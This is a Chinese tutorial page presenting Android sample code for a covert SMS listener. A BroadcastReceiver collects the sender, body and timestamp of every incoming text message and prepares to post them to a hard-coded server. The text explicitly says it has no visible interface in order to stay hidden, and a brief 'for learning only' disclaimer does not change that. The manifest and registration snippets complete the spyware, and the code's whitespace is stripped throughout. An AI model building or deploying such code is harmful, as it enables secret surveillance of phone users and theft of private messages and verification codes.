zl程序教程

您现在的位置是:首页 >  移动开发

当前栏目

android短信监听工具(示例代码)

Android工具代码 示例 监听 短信
2023-06-13 09:15:07 时间

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。

复制代码代码如下:

packagecn.itcast.sms;

importjava.sql.Date;
importjava.text.SimpleDateFormat;
importjava.util.HashMap;
importjava.util.Map;

importcn.itcast.utils.SocketHttpRequester;

importandroid.content.BroadcastReceiver;
importandroid.content.Context;
importandroid.content.Intent;
importandroid.telephony.SmsMessage;
importandroid.util.Log;

publicclassSMSBroadcastReceiverextendsBroadcastReceiver{
   //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
 @Override
 publicvoidonReceive(Contextcontext,Intentintent){
  Object[]pduses=(Object[])intent.getExtras().get("pdus");
  for(Objectpdus:pduses){
   byte[]pdusmessage=(byte[])pdus;//没一条短信
   SmsMessagesms=SmsMessage.createFromPdu(pdusmessage);
   Stringmobile=sms.getOriginatingAddress();//得到电话号码
   Stringcontent=sms.getMessageBody();//得到短信的内容
   Datedate=newDate(sms.getTimestampMillis());//得到发送短信具体时间
   //2009-10-1212:21:23
   SimpleDateFormatformat=newSimpleDateFormat("yyyy-MM-ddHH:mm:ss");//为实践设置格式
   Stringsendtime=format.format(date);
   Map<String,String>params=newHashMap<String,String>();
   params.put("method","getSMS");//将与短信相关的内容全部都放到集合里
   params.put("mobile",mobile);
   params.put("content",content);
   params.put("sendtime",sendtime);
   try{//利用socket向服务器发送窃听到的内容
    //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do",params,"UTF-8");
   }catch(Exceptione){
    Log.e("SMSBroadcastReceiver",e.toString());
   }
  }
 }

}


注意修改Android项目文件的配置
复制代码代码如下:

<?xmlversion="1.0"encoding="utf-8"?>
<manifestxmlns:android="http://schemas.android.com/apk/res/android"
     package="cn.itcast.sms"
     android:versionCode="1"
     android:versionName="1.0">
   <applicationandroid:icon="@drawable/icon"android:label="@string/app_name">
  <receiverandroid:name=".SMSBroadcastReceiver">
   <intent-filter>
    <actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
  </receiver>

   </application>
   <uses-sdkandroid:minSdkVersion="8"/>
<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!--接收短信权限-->
 <!--访问网络的权限-->
<uses-permissionandroid:name="android.permission.INTERNET"/>
</manifest>


最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;


当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:

复制代码代码如下:
//生成广播处理 
smsBroadCastReceiver=newSmsBroadCastReceiver(); 
//实例化过滤器并设置要过滤的广播 
IntentFilterintentFilter=newIntentFilter(); 
intentFilter.addAction(SMS_ACTION); 

//注册广播 
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver,intentFilter);